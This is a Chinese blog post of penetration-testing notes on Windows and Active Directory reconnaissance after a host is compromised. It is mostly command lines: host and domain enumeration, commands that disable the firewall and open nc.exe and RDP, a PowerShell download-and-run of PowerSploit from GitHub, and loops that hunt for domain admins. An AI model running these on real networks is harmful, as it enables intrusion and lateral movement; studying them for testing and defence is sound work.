内网信息收集


内网信息收集

收集本机信息

手动信息搜集

查询网络配置信息

ipconfig /all

查询操作系统及软件的信息

查询操作系统和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

查询系统体系结构
echo %PROCESSOR_ARCHITECTURE%

查看安装的软件、版本及路径等
wmic product get name, version

powershell "Get-WmiObject -class Win32_Product | select-Object -Property name, version"

查询本机服务

wmic service list brief

查询进程列表

tasklist
wmic process list brief

查看启动程序信息

wmic startup get command, caption

查看计划任务

schtasks /query /fo LIST /v

查看主机开机时间

net statistics workstation

查询用户列表

net user
net localgroup administrators
查询在线用户:
query user || qwinsta

列出或断开本地计算机与所连接的客户端之间的会话

net session

查询端口列表

netstat -ano

查看补丁列表

systeminfo

wmic qfe get Caption,Description,HotfixID,InstalledOn

查询本机共享列表

net share
wmic share get name,path,status

查询路由表及所有可用接口的ARP缓存表

route print
arp -a

查询防火墙相关配置

关闭防火墙

Windows2003之前版本

netsh firewall set opmode disable

Windows2003之后版本

netsh firewall set allprofiles state off
修改防火墙配置

Windows2003之前版本

netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

Windows2003之后版本

netsh firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"

允许指定程序连出

netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"

允许3389放行

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
自定义防火墙日志的存储位置
netsh advfirewall firewall set currentprofile logging filename "C:\windows\temp\fw.log"

查看代理情况

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

查询并开启远程连接服务

查看远程连接端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

0xd3d转换成10进制为3389

在Windows Server2003中开启3389端口
wmic path win32_terminalservicesetting where(__CLASS!="") call setallowtsconnections 1
在Windows Server2008和Windows Server2012中开启3389端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS!="") call setallowsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call 
setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

自动化收集信息

Empire下的主机信息搜集

查看本机用户、域成员、密码设置时间、剪切板内容、系统基本信息、网络适配器信息、共享信息

usemodule situational_awareness/host/winenum
situational_awareness/host/computerdetails

查询当前权限

查询当前权限

whoami

三种情况:

  • 本地普通用户
  • 本地管理员用户
  • 域内用户

获取域 SID

whoami /all

查询指定用户的详细信息

net user XXX /domain

判断是否存在域

使用 ipconfig 命令

ipconfig /all

查看系统详细信息

systeminfo

查询当前登录域及用户信息

net config workstation

判断主域

net time /domain

执行命令后,存在三种情况:

  • 存在域:当前不是域用户
    • 发生系统错误
  • 存在域:且当前用户是域用户
    • 如上图
  • 当前网络环境为工作组
    • 找不到域控制器

探测内网存活主机

利用 NetBIOS 快速探测内网

nbtscan.exe 192.168.1.0/20

利用 ICMP 协议快速探测内网

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

通过 ARP 扫描探测内网

arp-scan工具

arp.exe -t 192.168.1.0/20

Empire 中的 ARPscan 模块

usemodule situational_awareness/network/arpscan

Nishang 中的 Invoke-ARPScan.ps1 脚本

powershell.exe -exec bypass -Command "&{Import-Module C:\windows\temp\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\Windows\temp\log.txt

扫描内网端口

metasploit 端口扫描

auxiliary/scanner/portscan/tcp

PowerSploit 的 Invoke-portscan.ps1 脚本

powershell.exe -nop -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/POwershellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\rex.txt"

Nishang 的 Invoke-PortScan 模块

Invoke-Portscan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost

端口 banner 信息

收集域内基础信息

查询域

net view /domain

查询域内所有计算机

net view /domain:HACKE

查询域内所有用户列表

net group /domain

查询域内所有成员计算机列表

net group "domain computers" /domain

查询域密码信息

net accounts /domain

获取域信任信息

nltest /domain_trusts

查找域控制器

查看域控制器的机器名

nltest /DCLIST:DomainName

查看域控制器的主机名

nslookup -type=SRV _ldap._tcp.

查看当前时间

net time /domain

查看域控制器组

net group "Domain Controllers" /domain
netdom query pdc

获取域内的用户和管理员信息

查询所有域用户列表

向域控服务器进行查询

net user /domain

获取域内用户的详细信息

wmic useraccount get /all

查看存在的用户

dsquery user

查询本地管理员组用户

net localgroup administrators

查询域管理员用户

查询域管理员用户

net group "domain admins" /domain

查询管理员用户

net group "Enterprise Admins" /domain

定位域管理员

常用工具

pslogon.exe

pslogon.exe \\DC

PVEFindADUser.exe

PVEFindADUser.exe -current

netview.exe

nmap的脚本

  • 对域控进行信息搜集,可以获取主机信息,用户等信息
    • smb-enum-sessions.nse
  • 获得某台主机的权限,但是无法获取更多的域用户信息
    • Smb-enum-users.nse
  • 遍历远程主机的共享目录
    • smb-enum-shares.nse
  • 对主机远程进程进行遍历
    • smb-enum-process.nse
  • 对主机的操作系统,计算机名,域名,域林名称,NetBIOS机器名,工作组,系统时间等信息
    • smb-os-discovery

powerview脚本

  • Invoke-StealthUserHunter
  • Invoke-UserHunter

Empire 的 user_hunter模块

usemode situational_awareness/network/powerview/user_hunter

查找域管进程

本机检查

获取域管理员列表

net group "Domain Admins" /domain

列出本机的所有进程及进程用户

tasklist /v 

查询域控的域用户会话

https://github.com/nullbind/Other-Projects/tree/master/GDA

查询远程系统中运行的任务

首先,从Domain Admins组中收集域管理员列表

然后,将目标 ip 加到 ips.txt ,将收集的域管理员列表加到 names.txt 文件。

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && 
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

扫描远程系统的 NetBIOS 信息

首先,从Domain Admins组中收集域管理员列表

然后,将目标 ip 加到 ips.txt ,将收集的域管理员列表加到 admins.txt ` 文件。

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

###BloodHound 工具

brew services start neo4j

收集脚本

https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors

SharpHound.exe -c all

文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
权限提升防御分析 权限提升防御分析
权限提升防御分析系统内核溢出漏洞提权手动执行命令发现缺失补丁systeminfo wmic qfe get Caption,Description,HotfixID,InstalledOn 发现补丁编号 wmic qfe get Capti
2020-02-15
下一篇 
NTLM 重放攻击 NTLM 重放攻击
NTLM 重放攻击NTLM 认证流程 NTLM协议重放攻击(Relay) NTLM重放攻击防御目前有许多针对 NTLM 重放攻击的防御措施,主要包括以下几种: SMB & LDAP 签名 EAP (Enhanced Protect
2020-02-09
  目录